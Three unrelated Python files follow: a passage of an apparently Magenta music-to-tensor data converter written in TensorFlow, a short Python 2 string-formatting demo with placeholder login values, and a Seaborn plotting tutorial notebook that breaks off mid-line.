self._to_items(samples, controls) def tf_to_tensors(self, item_scalar): """TensorFlow op that converts item into output tensors. Sequences will be padded to match the length of the longest. Args: item_scalar: A scalar of type tf.String containing the raw item to be converted to tensors. Returns: inputs: A Tensor, shaped [num encoded seqs, max(lengths), input_depth], containing the padded input encodings. outputs: A Tensor, shaped [num encoded seqs, max(lengths), output_depth], containing the padded output encodings resulting from the input. controls: A Tensor, shaped [num encoded seqs, max(lengths), control_depth], containing the padded control encodings. lengths: A tf.int32 Tensor, shaped [num encoded seqs], containing the unpadded lengths of the tensor sequences resulting from the input. """ def _convert_and_pad(item_str): item = self.str_to_item_fn(item_str) tensors = self.to_tensors(item) inputs = _maybe_pad_seqs(tensors.inputs, self.input_dtype) outputs = _maybe_pad_seqs(tensors.outputs, self.output_dtype) controls = _maybe_pad_seqs(tensors.controls, self.control_dtype) return inputs, outputs, controls, np.array(tensors.lengths, np.int32) inputs, outputs, controls, lengths = tf.py_func( _convert_and_pad, [item_scalar], [self.input_dtype, self.output_dtype, self.control_dtype, tf.int32], name='convert_and_pad') inputs.set_shape([None, None, self.input_depth]) outputs.set_shape([None, None, self.output_depth]) controls.set_shape([None, None, self.control_depth]) lengths.set_shape([None] + list(self.length_shape)) return inputs, outputs, controls, lengths def preprocess_notesequence(note_sequence, presplit_on_time_changes): """Preprocesses a single NoteSequence, resulting in multiple sequences.""" if presplit_on_time_changes: note_sequences = sequences_lib.split_note_sequence_on_time_changes( note_sequence) else: note_sequences = [note_sequence] return note_sequences class BaseNoteSequenceConverter(BaseConverter): """Base class for NoteSequence data converters. Inheriting classes must implement the following abstract methods: -`_to_tensors` -`_to_notesequences` """ __metaclass__ = abc.ABCMeta def __init__(self, input_depth, input_dtype, output_depth, output_dtype, control_depth=0, control_dtype=np.bool, end_token=None, presplit_on_time_changes=True, max_tensors_per_notesequence=None): """Initializes BaseNoteSequenceConverter. Args: input_depth: Depth of final dimension of input (encoder) tensors. input_dtype: DType of input (encoder) tensors. output_depth: Depth of final dimension of output (decoder) tensors. output_dtype: DType of output (decoder) tensors. control_depth: Depth of final dimension of control tensors, or zero if not conditioning on control tensors. control_dtype: DType of control tensors. end_token: Optional end token. presplit_on_time_changes: Whether to split NoteSequence on time changes before converting. max_tensors_per_notesequence: The maximum number of outputs to return for each NoteSequence. """ super(BaseNoteSequenceConverter, self).__init__( input_depth, input_dtype, output_depth, output_dtype, control_depth, control_dtype, end_token, max_tensors_per_item=max_tensors_per_notesequence, str_to_item_fn=music_pb2.NoteSequence.FromString) self._presplit_on_time_changes = presplit_on_time_changes @property def max_tensors_per_notesequence(self): return self.max_tensors_per_item @max_tensors_per_notesequence.setter def max_tensors_per_notesequence(self, value): self.max_tensors_per_item = value @abc.abstractmethod def _to_notesequences(self, samples, controls=None): """Implementation that decodes model samples into list of NoteSequences.""" pass def to_notesequences(self, samples, controls=None): """Python method that decodes samples into list of NoteSequences.""" return self._to_items(samples, controls) def to_tensors(self, note_sequence): """Python method that converts `note_sequence` into list of tensors.""" note_sequences = preprocess_notesequence( note_sequence, self._presplit_on_time_changes) results = [] for ns in note_sequences: results.append(super(BaseNoteSequenceConverter, self).to_tensors(ns)) return self._combine_to_tensor_results(results) def _to_items(self, samples, controls=None): """Python method that decodes samples into list of NoteSequences.""" if controls is None: return self._to_notesequences(samples) else: return self._to_notesequences(samples, controls) class LegacyEventListOneHotConverter(BaseNoteSequenceConverter): """Converts NoteSequences using legacy OneHotEncoding framework. Quantizes the sequences, extracts event lists in the requested size range, uniquifies, and converts to encoding. Uses the OneHotEncoding's output encoding for both the input and output. Args: event_list_fn: A function that returns a new EventSequence. event_extractor_fn: A function for extracing events into EventSequences. The sole input should be the quantized NoteSequence. legacy_encoder_decoder: An instantiated OneHotEncoding object to use. add_end_token: Whether or not to add an end token. Recommended to be False for fixed-length outputs. slice_bars: Optional size of window to slide over raw event lists after extraction. steps_per_quarter: The number of quantization steps per quarter note. Mututally exclusive with `steps_per_second`. steps_per_second: The number of quantization steps per second. Mututally exclusive with `steps_per_quarter`. quarters_per_bar: The number of quarter notes per bar. pad_to_total_time: Pads each input/output tensor to the total time of the NoteSequence. max_tensors_per_notesequence: The maximum number of outputs to return for each NoteSequence. presplit_on_time_changes: Whether to split NoteSequence on time changes before converting. """ def __init__(self, event_list_fn, event_extractor_fn, legacy_encoder_decoder, add_end_token=False, slice_bars=None, slice_steps=None, steps_per_quarter=None, steps_per_second=None, quarters_per_bar=4, pad_to_total_time=False, max_tensors_per_notesequence=None, presplit_on_time_changes=True): if (steps_per_quarter, steps_per_second).count(None) != 1: raise ValueError( 'Exactly one of `steps_per_quarter` and `steps_per_second` should be ' 'provided.') if (slice_bars, slice_steps).count(None) == 0: raise ValueError( 'At most one of `slice_bars` and `slice_steps` should be provided.') self._event_list_fn = event_list_fn self._event_extractor_fn = event_extractor_fn self._legacy_encoder_decoder = legacy_encoder_decoder self._steps_per_quarter = steps_per_quarter if steps_per_quarter: self._steps_per_bar = steps_per_quarter * quarters_per_bar self._steps_per_second = steps_per_second if slice_bars: self._slice_steps = self._steps_per_bar * slice_bars else: self._slice_steps = slice_steps self._pad_to_total_time = pad_to_total_time depth = legacy_encoder_decoder.num_classes + add_end_token super(LegacyEventListOneHotConverter, self).__init__( input_depth=depth, input_dtype=np.bool, output_depth=depth, output_dtype=np.bool, end_token=legacy_encoder_decoder.num_classes if add_end_token else None, presplit_on_time_changes=presplit_on_time_changes, max_tensors_per_notesequence=max_tensors_per_notesequence) def _to_tensors(self, note_sequence): """Converts NoteSequence to unique, one-hot tensor sequences.""" try: if self._steps_per_quarter: quantized_sequence = mm.quantize_note_sequence( note_sequence, self._steps_per_quarter) if (mm.steps_per_bar_in_quantized_sequence(quantized_sequence) != self._steps_per_bar): return ConverterTensors() else: quantized_sequence = mm.quantize_note_sequence_absolute( note_sequence, self._steps_per_second) except (mm.BadTimeSignatureException, mm.NonIntegerStepsPerBarException, mm.NegativeTimeException) as e: return ConverterTensors() event_lists, unused_stats = self._event_extractor_fn(quantized_sequence) if self._pad_to_total_time: for e in event_lists: e.set_length(len(e) + e.start_step, from_left=True) e.set_length(quantized_sequence.total_quantized_steps) if self._slice_steps: sliced_event_tuples = [] for l in event_lists: for i in range(self._slice_steps, len(l) + 1, self._steps_per_bar): sliced_event_tuples.append(tuple(l[i - self._slice_steps: i])) else: sliced_event_tuples = [tuple(l) for l in event_lists] # TODO(adarob): Consider handling the fact that different event lists can # be mapped to identical tensors by the encoder_decoder (e.g., Drums). unique_event_tuples = list(set(sliced_event_tuples)) unique_event_tuples = self._maybe_sample_outputs(unique_event_tuples) seqs = [] for t in unique_event_tuples: seqs.append(np_onehot( [self._legacy_encoder_decoder.encode_event(e) for e in t] + ([] if self.end_token is None else [self.end_token]), self.output_depth, self.output_dtype)) return ConverterTensors(inputs=seqs, outputs=seqs) def _to_notesequences(self, samples): output_sequences = [] for sample in samples: s = np.argmax(sample, axis=-1) if self.end_token is not None and self.end_token in s.tolist(): s = s[:s.tolist().index(self.end_token)] event_list = self._event_list_fn() for e in s: assert e != self.end_token event_list.append(self._legacy_encoder_decoder.decode_event(e)) output_sequences.append(event_list.to_sequence(velocity=80)) return output_sequences class OneHotMelodyConverter(LegacyEventListOneHotConverter): """Converter for legacy MelodyOneHotEncoding. Args: min_pitch: The minimum pitch to model. Those below this value will be ignored. max_pitch: The maximum pitch to model. Those above this value will be ignored. valid_programs: Optional set of program numbers to allow. skip_polyphony: Whether to skip polyphonic instruments. If False, the highest pitch will be taken in polyphonic sections. max_bars: Optional maximum number of bars per extracted melody, before slicing. slice_bars: Optional size of window to slide over raw Melodies after extraction. gap_bars: If this many bars or more of non-events follow a note event, the melody is ended. Disabled when set to 0 or None. steps_per_quarter: The number of quantization steps per quarter note. quarters_per_bar: The number of quarter notes per bar. pad_to_total_time: Pads each input/output tensor to the total time of the NoteSequence. add_end_token: Whether to add an end token at the end of each sequence. max_tensors_per_notesequence: The maximum number of outputs to return for each NoteSequence. """ def __init__(self, min_pitch=PIANO_MIN_MIDI_PITCH, max_pitch=PIANO_MAX_MIDI_PITCH, valid_programs=None, skip_polyphony=False, max_bars=None, slice_bars=None, gap_bars=1.0, steps_per_quarter=4, quarters_per_bar=4, add_end_token=False, pad_to_total_time=False, max_tensors_per_notesequence=5, presplit_on_time_changes=True): self._min_pitch = min_pitch self._max_pitch = max_pitch self._valid_programs = valid_programs steps_per_bar = steps_per_quarter * quarters_per_bar max_steps_truncate = steps_per_bar * max_bars if max_bars else None def melody_fn(): return mm.Melody( steps_per_bar=steps_per_bar, steps_per_quarter=steps_per_quarter) melody_extractor_fn = functools.partial( mm.extract_melodies, min_bars=1, gap_bars=gap_bars or float('inf'), max_steps_truncate=max_steps_truncate, min_unique_pitches=1, ignore_polyphonic_notes=not skip_polyphony, pad_end=True) super(OneHotMelodyConverter, self).__init__( melody_fn, melody_extractor_fn, mm.MelodyOneHotEncoding(min_pitch, max_pitch + 1), add_end_token=add_end_token, slice_bars=slice_bars, pad_to_total_time=pad_to_total_time, steps_per_quarter=steps_per_quarter, quarters_per_bar=quarters_per_bar, max_tensors_per_notesequence=max_tensors_per_notesequence, presplit_on_time_changes=presplit_on_time_changes) def _to_tensors(self, note_sequence): def is_valid(note): if (self._valid_programs is not None and note.program not in self._valid_programs): return False return self._min_pitch <= note.pitch <= self._max_pitch notes = list(note_sequence.notes) del note_sequence.notes[:] note_sequence.notes.extend([n for n in notes if is_valid(n)]) return super(OneHotMelodyConverter, self)._to_tensors(note_sequence) class DrumsConverter(BaseNoteSequenceConverter): """Converter for legacy drums with either pianoroll or one-hot tensors. Inputs/outputs are either a "pianoroll"-like encoding of all possible drum hits at a given step, or a one-hot encoding of the pianoroll. The "roll" input encoding includes a final NOR bit (after the optional end token). Args: max_bars: Optional maximum number of bars per extracted drums, before slicing. slice_bars: Optional size of window to slide over raw Melodies after extraction. gap_bars: If this many bars or more follow a non-empty drum event, the drum track is ended. Disabled when set to 0 or None. pitch_classes: A collection of collections, with each sub-collection containing the set of pitches representing a single class to group by. By default, groups valid drum pitches into 9 different classes. add_end_token: Whether or not to add an end token. Recommended to be False for fixed-length outputs. steps_per_quarter: The number of quantization steps per quarter note. quarters_per_bar: The number of quarter notes per bar. pad_to_total_time: Pads each input/output tensor to the total time of the NoteSequence. roll_input: Whether to use a pianoroll-like representation as the input instead of a one-hot encoding. roll_output: Whether to use a pianoroll-like representation as the output instead of a one-hot encoding. max_tensors_per_notesequence: The maximum number of outputs to return for each NoteSequence. presplit_on_time_changes: Whether to split NoteSequence on time changes before converting. """ def __init__(self, max_bars=None, slice_bars=None, gap_bars=1.0, pitch_classes=None, add_end_token=False, steps_per_quarter=4, quarters_per_bar=4, pad_to_total_time=False, roll_input=False, roll_output=False, max_tensors_per_notesequence=5, presplit_on_time_changes=True): self._pitch_classes = pitch_classes or REDUCED_DRUM_PITCH_CLASSES self._pitch_class_map = { p: i for i, pitches in enumerate(self._pitch_classes) for p in pitches} self._steps_per_quarter = steps_per_quarter self._steps_per_bar = steps_per_quarter * quarters_per_bar self._slice_steps = self._steps_per_bar * slice_bars if slice_bars else None self._pad_to_total_time = pad_to_total_time self._roll_input = roll_input self._roll_output = roll_output self._drums_extractor_fn = functools.partial( mm.extract_drum_tracks, min_bars=1, gap_bars=gap_bars or float('inf'), max_steps_truncate=self._steps_per_bar * max_bars if max_bars else None, pad_end=True) num_classes = len(self._pitch_classes) self._pr_encoder_decoder = mm.PianorollEncoderDecoder( input_size=num_classes + add_end_token) # Use pitch classes as `drum_type_pitches` since we have already done the # mapping. self._oh_encoder_decoder = mm.MultiDrumOneHotEncoding( drum_type_pitches=[(i,) for i in range(num_classes)]) output_depth = (num_classes if self._roll_output else self._oh_encoder_decoder.num_classes) + add_end_token super(DrumsConverter, self).__init__( input_depth=( num_classes + 1 if self._roll_input else self._oh_encoder_decoder.num_classes) + add_end_token, input_dtype=np.bool, output_depth=output_depth, output_dtype=np.bool, end_token=output_depth - 1 if add_end_token else None, presplit_on_time_changes=presplit_on_time_changes, max_tensors_per_notesequence=max_tensors_per_notesequence) def _to_tensors(self, note_sequence): """Converts NoteSequence to unique sequences.""" try: quantized_sequence = mm.quantize_note_sequence( note_sequence, self._steps_per_quarter) if (mm.steps_per_bar_in_quantized_sequence(quantized_sequence) != self._steps_per_bar): return ConverterTensors() except (mm.BadTimeSignatureException, mm.NonIntegerStepsPerBarException, mm.NegativeTimeException) as e: return ConverterTensors() new_notes = [] for n in quantized_sequence.notes: if not n.is_drum: continue if n.pitch not in self._pitch_class_map: continue n.pitch = self._pitch_class_map[n.pitch] new_notes.append(n) del quantized_sequence.notes[:] quantized_sequence.notes.extend(new_notes) event_lists, unused_stats = self._drums_extractor_fn(quantized_sequence) if self._pad_to_total_time: for e in event_lists: e.set_length(len(e) + e.start_step, from_left=True) e.set_length(quantized_sequence.total_quantized_steps) if self._slice_steps: sliced_event_tuples = [] for l in event_lists: for i in range(self._slice_steps, len(l) + 1, self._steps_per_bar): sliced_event_tuples.append(tuple(l[i - self._slice_steps: i])) else: sliced_event_tuples = [tuple(l) for l in event_lists] unique_event_tuples = list(set(sliced_event_tuples)) unique_event_tuples = self._maybe_sample_outputs(unique_event_tuples) rolls = [] oh_vecs = [] for t in unique_event_tuples: if self._roll_input or self._roll_output: if self.end_token is not None: t_roll = list(t) + [(self._pr_encoder_decoder.input_size - 1,)] else: t_roll = t rolls.append(np.vstack([ self._pr_encoder_decoder.events_to_input(t_roll, i).astype(np.bool) for i in range(len(t_roll))])) if not (self._roll_input and self._roll_output): labels = [self._oh_encoder_decoder.encode_event(e) for e in t] if self.end_token is not None: labels += [self._oh_encoder_decoder.num_classes] oh_vecs.append(np_onehot( labels, self._oh_encoder_decoder.num_classes + (self.end_token is not None), np.bool)) if self._roll_input: input_seqs = [ np.append(roll, np.expand_dims(np.all(roll == 0, axis=1), axis=1), axis=1) for roll in rolls] else: input_seqs = oh_vecs output_seqs = rolls if self._roll_output else oh_vecs return ConverterTensors(inputs=input_seqs, outputs=output_seqs) def _to_notesequences(self, samples): output_sequences = [] for s in samples: if self._roll_output: if self.end_token is not None: end_i = np.where(s[:, self.end_token]) if len(end_i): # pylint: disable=g-explicit-length-test s = s[:end_i[0]] events_list = [frozenset(np.where(e)[0]) for e in s] else: s = np.argmax(s, axis=-1) if self.end_token is not None and self.end_token in s: s = s[:s.tolist().index(self.end_token)] events_list = [self._oh_encoder_decoder.decode_event(e) for e in s] # Map classes to exemplars. events_list = [ frozenset(self._pitch_classes[c][0] for c in e) for e in events_list] track = mm.DrumTrack( events=events_list, steps_per_bar=self._steps_per_bar, steps_per_quarter=self._steps_per_quarter) output_sequences.append(track.to_sequence(velocity=80)) return output_sequences class TrioConverter(BaseNoteSequenceConverter): """Converts to/from 3-part (mel, drums, bass) multi-one-hot events. Extracts overlapping segments with melody, drums, and bass (determined by program number) and concatenates one-hot tensors from OneHotMelodyConverter and OneHotDrumsConverter. Takes the cross products from the sets of instruments of each type. Args: slice_bars: Optional size of window to slide over full converted tensor. gap_bars: The number of consecutive empty bars to allow for any given instrument. Note that this number is effectively doubled for internal gaps. max_bars: Optional maximum number of bars per extracted sequence, before slicing. steps_per_quarter: The number of quantization steps per quarter note. quarters_per_bar: The number of quarter notes per bar. max_tensors_per_notesequence: The maximum number of outputs to return for each NoteSequence. """ class InstrumentType(object): UNK = 0 MEL = 1 BASS = 2 DRUMS = 3 INVALID = 4 def __init__( self, slice_bars=None, gap_bars=2, max_bars=1024, steps_per_quarter=4, quarters_per_bar=4, max_tensors_per_notesequence=5): self._melody_converter = OneHotMelodyConverter( gap_bars=None, steps_per_quarter=steps_per_quarter, pad_to_total_time=True, presplit_on_time_changes=False, max_tensors_per_notesequence=None) self._drums_converter = DrumsConverter( gap_bars=None, steps_per_quarter=steps_per_quarter, pad_to_total_time=True, presplit_on_time_changes=False, max_tensors_per_notesequence=None) self._slice_bars = slice_bars self._gap_bars = gap_bars self._max_bars = max_bars self._steps_per_quarter = steps_per_quarter self._steps_per_bar = steps_per_quarter * quarters_per_bar self._split_output_depths = ( self._melody_converter.output_depth, self._melody_converter.output_depth, self._drums_converter.output_depth) output_depth = sum(self._split_output_depths) self._program_map = dict( [(i, TrioConverter.InstrumentType.MEL) for i in MEL_PROGRAMS] + [(i, TrioConverter.InstrumentType.BASS) for i in BASS_PROGRAMS]) super(TrioConverter, self).__init__( input_depth=output_depth, input_dtype=np.bool, output_depth=output_depth, output_dtype=np.bool, end_token=False, presplit_on_time_changes=True, max_tensors_per_notesequence=max_tensors_per_notesequence) def _to_tensors(self, note_sequence): try: quantized_sequence = mm.quantize_note_sequence( note_sequence, self._steps_per_quarter) if (mm.steps_per_bar_in_quantized_sequence(quantized_sequence) != self._steps_per_bar): return ConverterTensors() except (mm.BadTimeSignatureException, mm.NonIntegerStepsPerBarException, mm.NegativeTimeException): return ConverterTensors() total_bars = int( np.ceil(quantized_sequence.total_quantized_steps / self._steps_per_bar)) total_bars = min(total_bars, self._max_bars) # Assign an instrument class for each instrument, and compute its coverage. # If an instrument has multiple classes, it is considered INVALID. instrument_type = np.zeros(MAX_INSTRUMENT_NUMBER + 1, np.uint8) coverage = np.zeros((total_bars, MAX_INSTRUMENT_NUMBER + 1), np.bool) for note in quantized_sequence.notes: i = note.instrument if i > MAX_INSTRUMENT_NUMBER: tf.logging.warning('Skipping invalid instrument number: %d', i) continue inferred_type = ( self.InstrumentType.DRUMS if note.is_drum else self._program_map.get(note.program, self.InstrumentType.INVALID)) if not instrument_type[i]: instrument_type[i] = inferred_type elif instrument_type[i] != inferred_type: instrument_type[i] = self.InstrumentType.INVALID start_bar = note.quantized_start_step // self._steps_per_bar end_bar = int(np.ceil(note.quantized_end_step / self._steps_per_bar)) if start_bar >= total_bars: continue coverage[start_bar:min(end_bar, total_bars), i] = True # Group instruments by type. instruments_by_type = collections.defaultdict(list) for i, type_ in enumerate(instrument_type): if type_ not in (self.InstrumentType.UNK, self.InstrumentType.INVALID): instruments_by_type[type_].append(i) if len(instruments_by_type) < 3: # This NoteSequence doesn't have all 3 types. return ConverterTensors() # Encode individual instruments. # Set total time so that instruments will be padded correctly. note_sequence.total_time = ( total_bars * self._steps_per_bar * 60 / note_sequence.tempos[0].qpm / self._steps_per_quarter) encoded_instruments = {} for i in (instruments_by_type[self.InstrumentType.MEL] + instruments_by_type[self.InstrumentType.BASS]): tensors = self._melody_converter.to_tensors( _extract_instrument(note_sequence, i)) if tensors.outputs: encoded_instruments[i] = tensors.outputs[0] else: coverage[:, i] = False for i in instruments_by_type[self.InstrumentType.DRUMS]: tensors = self._drums_converter.to_tensors( _extract_instrument(note_sequence, i)) if tensors.outputs: encoded_instruments[i] = tensors.outputs[0] else: coverage[:, i] = False # Fill in coverage gaps up to self._gap_bars. og_coverage = coverage.copy() for j in range(total_bars): coverage[j] = np.any( og_coverage[ max(0, j-self._gap_bars):min(total_bars, j+self._gap_bars) + 1], axis=0) # Take cross product of instruments from each class and compute combined # encodings where they overlap. seqs = [] for grp in itertools.product( instruments_by_type[self.InstrumentType.MEL], instruments_by_type[self.InstrumentType.BASS], instruments_by_type[self.InstrumentType.DRUMS]): # Consider an instrument covered within gap_bars from the end if any of # the other instruments are. This allows more leniency when re-encoding # slices. grp_coverage = np.all(coverage[:, grp], axis=1) grp_coverage[:self._gap_bars] = np.any(coverage[:self._gap_bars, grp]) grp_coverage[-self._gap_bars:] = np.any(coverage[-self._gap_bars:, grp]) for j in range(total_bars - self._slice_bars + 1): if np.all(grp_coverage[j:j + self._slice_bars]): start_step = j * self._steps_per_bar end_step = (j + self._slice_bars) * self._steps_per_bar seqs.append(np.concatenate( [encoded_instruments[i][start_step:end_step] for i in grp], axis=-1)) return ConverterTensors(inputs=seqs, outputs=seqs) def _to_notesequences(self, samples): output_sequences = [] dim_ranges = np.cumsum(self._split_output_depths) for s in samples: mel_ns = self._melody_converter.to_notesequences( [s[:, :dim_ranges[0]]])[0] bass_ns = self._melody_converter.to_notesequences( [s[:, dim_ranges[0]:dim_ranges[1]]])[0] drums_ns = self._drums_converter.to_notesequences( [s[:, dim_ranges[1]:]])[0] for n in bass_ns.notes: n.instrument = 1 n.program = ELECTRIC_BASS_PROGRAM for n in drums_ns.notes: n.instrument = 9 ns = mel_ns ns.notes.extend(bass_ns.notes) ns.notes.extend(drums_ns.notes) ns.total_time = max( mel_ns.total_time, bass_ns.total_time, drums_ns.total_time) output_sequences.append(ns) return output_sequences def count_examples(examples_path, data_converter, file_reader=tf.python_io.tf_record_iterator): """Counts the number of examples produced by the converter from files.""" filenames = tf.gfile.Glob(examples_path) num_examples = 0 for f in filenames: tf.logging.info('Counting examples in %s.', f) reader = file_reader(f) for item_str in reader: item = data_converter.str_to_item_fn(item_str) tensors = data_converter.to_tensors(item) num_examples += len(tensors.inputs) tf.logging.info('Total examples: %d', num_examples) return num_examples def get_dataset( config, num_threads=1, tf_file_reader=tf.data.TFRecordDataset, prefetch_size=4, is_training=False): """Get input tensors from dataset for training or evaluation. Args: config: A Config object containing dataset information. num_threads: The number of threads to use for pre-processing. tf_file_reader: The tf.data.Dataset class to use for reading files. prefetch_size: The number of batches to prefetch. Disabled when 0. is_training: Whether or not the dataset is used in training. Determines whether dataset is shuffled and repeated, etc. Returns: A tf.data.Dataset containing input, output, control, and length tensors. """ batch_size = config.hparams.batch_size examples_path = ( config.train_examples_path if is_training else config.eval_examples_path) note_sequence_augmenter = ( config.note_sequence_augmenter if is_training else None) data_converter = config.data_converter data_converter.is_training = is_training tf.logging.info('Reading examples from: %s', examples_path) num_files = len(tf.gfile.Glob(examples_path)) files = tf.data.Dataset.list_files(examples_path) if is_training: files = files.apply( tf.contrib.data.shuffle_and_repeat(buffer_size=num_files)) reader = files.apply( tf.contrib.data.parallel_interleave( tf_file_reader, cycle_length=num_threads, sloppy=True)) def _remove_pad_fn(padded_seq_1, padded_seq_2, padded_seq_3, length): if length.shape.ndims == 0: return (padded_seq_1[0:length], padded_seq_2[0:length], padded_seq_3[0:length], length) else: # Don't remove padding for hierarchical examples. return padded_seq_1, padded_seq_2, padded_seq_3, length dataset = reader if note_sequence_augmenter is not None: dataset = dataset.map(note_sequence_augmenter.tf_augment) dataset = (dataset .map(data_converter.tf_to_tensors, num_parallel_calls=num_threads) .flat_map(lambda *t: tf.data.Dataset.from_tensor_slices(t)) .map(_remove_pad_fn)) if is_training: dataset = dataset.shuffle(buffer_size=batch_size * 4) dataset = dataset.padded_batch(batch_size, dataset.output_shapes) if prefetch_size: dataset = dataset.prefetch(prefetch_size) return dataset

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#!/usr/bin/env python # -*- coding: utf-8 -*- uid ="sa" pwd = "secret" # 两种方式结构完全相同 print pwd +' is password '+ uid print '%s is password %s' % (pwd, uid) userCount = 6 print "User connected:%d" % (userCount) try: print "User connected" + userCount except TypeError: print 'int cant connect with str' #数值的格式化 print "Today's stock price:%f" % 50.4625 print "Today's stock price:%.2f" % 50.4625 print "Today's stock price:%+.2f" % 1.5

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#!/usr/bin/env python # coding: utf-8 # # Seaborn Tutorial # ### Imports # In[ ]: import numpy as np import pandas as pd import matplotlib.pyplot as plt import seaborn as sns # In[ ]: get_ipython().run_line_magic('matplotlib', 'inline') # In[ ]: # Auto reloads notebook when changes are made get_ipython().run_line_magic('reload_ext', 'autoreload') get_ipython().run_line_magic('autoreload', '2') # ### Import Data # In[ ]: # You can import custom data cs_df = pd.read_csv('ComputerSales.csv') # In[ ]: # Seaborn provides built in datasets print(sns.get_dataset_names()) # In[ ]: # Load a built in dataset based on US State car crash percentages crash_df = sns.load_dataset('car_crashes') # # Distribution Plots # ### Distribution Plot # In[ ]: # Provides a way to look at a univariate distribution. # A univeriate distribution provides a distribution for one variable # Kernal Density Estimation with a Histogram is provided # kde=False removes the KDE # Bins define how many buckets to divide the data up into between intervals # For example put all profits between $10 and $20 in this bucket sns.distplot(crash_df['not_distracted'], kde=False, bins=25) # ### Joint Plot # In[ ]: # Jointplot compares 2 distributions and plots a scatter plot by default # As we can see as people tend to speed they also tend to drink & drive # With kind you can create a regression line with kind='reg' # You can create a 2D KDE with kind='kde' # Kernal Density Estimation estimates the distribution of data # You can create a hexagon distribution with kind='hex' sns.jointplot(x='speeding', y='alcohol', data=crash_df, kind='reg') # ### KDE Plot # In[ ]: # Get just the KDE plot sns.kdeplot(crash_df['alcohol']) # ### Pair Plots # In[ ]: # Pair Plot plots relationships across the entire data frames numerical values sns.pairplot(crash_df) # Load data on tips tips_df = sns.load_dataset('tips') # With hue you can pass in a categorical column and the charts will be colorized # You can use color maps from Matplotlib to define what colors to use # sns.pairplot(tips_df, hue='sex', palette='Blues') # ### Rug Plots # In[ ]: # Plots a single column of datapoints in an array as sticks on an axis # With a rug plot you'll see a more dense number of lines where the amount is # most common. This is like how a histogram is taller where values are more common sns.rugplot(tips_df['tip']) # ### Styling # In[ ]: # You can set styling for your axes and grids # white, darkgrid, whitegrid, dark, ticks sns.set_style('white') # In[ ]: # You can use figure sizing from Matplotlib plt.figure(figsize=(8,4)) # In[ ]: # Change size of lables, lines and other elements to best fit # how you will present your data (paper, talk, poster) sns.set_context('paper', font_scale=1.4) # In[ ]: sns.jointplot(x='speeding', y='alcohol', data=crash_df, kind='reg') # In[ ]: # Get rid of spines # You can turn of specific spines with right=True, left=True # bottom=True, top=True sns.despine(left=False, bottom=False) # # Categorical Plots # ### Bar Plots # In[ ]: # Focus on distributions using categorical data in reference to one of the numerical # columns # Aggregate categorical data based on a function (mean is the default) # Estimate total bill amount based on sex # With estimator you can define functions to use other than the mean like those # provided by NumPy : median, std, var, cov or make your own functions sns.barplot(x='sex',y='total_bill',data=tips_df, estimator=np.median) # ### Count Plot # In[ ]: # A count plot is like a bar plot, but the estimator is counting # the number of occurances sns.countplot(x='sex',data=tips_df) # ### Box Plot # In[ ]: plt.figure(figsize=(14,9)) sns.set_style('darkgrid') # A box plot allows you to compare different variables # The box shows the quartiles of the data. The bar in the middle is the median and # the box extends 1 standard deviation from the median # The whiskers extend to all the other data aside from the points that are considered # to be outliers # Hue can add another category being sex # We see men spend way more on Friday versus less than women on Saturday sns.boxplot(x='day',y='total_bill',data=tips_df, hue='sex') # Moves legend to the best position plt.legend(loc=0) # ### Violin Plot # In[ ]: # Violin Plot is a combination of the boxplot and KDE # While a box plot corresponds to data points, the violin plot uses the KDE estimation # of the data points # Split allows you to compare how the categories compare to each other sns.violinplot(x='day',y='total_bill',data=tips_df, hue='sex',split=True) # ### Strip Plot # In[ ]: plt.figure(figsize=(8,5)) # The strip plot draws a scatter plot representing all data points where one # variable is categorical. It is often used to show all observations with # a box plot that represents the average distribution # Jitter spreads data points out so that they aren't stacked on top of each other # Hue breaks data into men and women # Dodge separates the men and women data sns.stripplot(x='day',y='total_bill',data=tips_df, jitter=True, hue='sex', dodge=True) # ### Swarm Plot # In[ ]: # A swarm plot is like a strip plot, but points are adjusted so they don't overlap # It looks like a combination of the violin and strip plots # sns.swarmplot(x='day',y='total_bill',data=tips_df) # In[ ]: # You can stack a violin plot with a swarm sns.violinplot(x='day',y='total_bill',data=tips_df) sns.swarmplot(x='day',y='total_bill',data=tips_df, color='white') # ### Palettes # In[ ]: plt.figure(figsize=(8,6)) sns.set_style('dark') sns.set_context('talk') # In[ ]: # You can use Matplotlibs color maps for color styling # https://matplotlib.org/3.3.1/tutorials/colors/colormaps.html sns.stripplot(x='day',y='total_bill',data=tips_df, hue='sex', palette='seismic') # In[ ]: # Add the optional legend with a location number (best: 0, # upper right: 1, upper left: 2, lower left: 3, lower right: 4, # https://matplotlib.org/3.3.1/api/_as_gen/matplotlib.pyplot.legend.html) # or supply a tuple of x & y from lower left plt.legend(loc=0) # # Matrix Plots # ### Heatmaps # In[ ]: plt.figure(figsize=(8,6)) sns.set_context('paper', font_scale=1.4) # To create a heatmap with data you must have data set up as a matrix where variables are on the columns and rows # In[ ]: # Correlation tells you how influential a variable is on the result # So we see that n previous accident is heavily correlated with accidents, while the insurance premium is not crash_mx = crash_df.corr() # In[ ]: # Create the heatmap, add annotations and a color map sns.heatmap(crash_mx, annot=True, cmap='Blues') # In[ ]: plt.figure(figsize=(8,6)) sns.set_context('paper', font_scale=1.4) # In[ ]: # We can create a matrix with an index of month, columns representing years # and the number of passengers for each # We see that flights have increased over time and that most people travel in # July and August flights = sns.load_dataset("flights") flights = flights.pivot_table(index='month', columns='year', values='passengers') # In[ ]: # You can separate data with lines sns.heatmap(flights, cmap='Blues', linecolor='white', linewidth=1) # ### Cluster Map # In[ ]: plt.figure(figsize=(8,6)) sns.set_context('paper', font_scale=1.4) # In[ ]: # A Cluster map is a hierarchically clustered heatmap # The distance between points is calculated, the closest are joined, and this # continues for the next closest (It compares columns / rows of the heatmap) # This is data on iris flowers with data on petal lengths iris = sns.load_dataset("iris") # Return values for species # species = iris.pop("species") # sns.clustermap(iris) # In[ ]: # With our flights data we can see that years have been reoriented to place # like data closer together # You can see clusters of data for July & August for the years 59 & 60 # standard_scale normalizes the data to focus on the clustering sns.clustermap(flights,cmap="Blues", standard_scale=1) # ### PairGrid # In[ ]: plt.figure(figsize=(8,6)) sns.set_context('paper', font_scale=1.4) # In[ ]: # You can create a grid of different plots with complete control over what is displayed # Create the empty grid system using the provided data # Colorize based on species # iris_g = sns.PairGrid(iris, hue="species") # In[ ]: # Put a scatter plot across the upper, lower and diagonal # iris_g.map(plt.scatter) # In[ ]: # Put a histogram on the diagonal # iris_g.map_diag(plt.hist) # And a scatter plot every place else # iris_g.map_offdiag(plt.scatter) # In[ ]: # Have different plots in upper, lower and diagonal # iris_g.map_upper(plt.scatter) # iris_g.map_lower(sns.kdeplot) # In[ ]: # You can define define variables for x & y for a custom grid iris_g = sns.PairGrid(iris, hue="species", 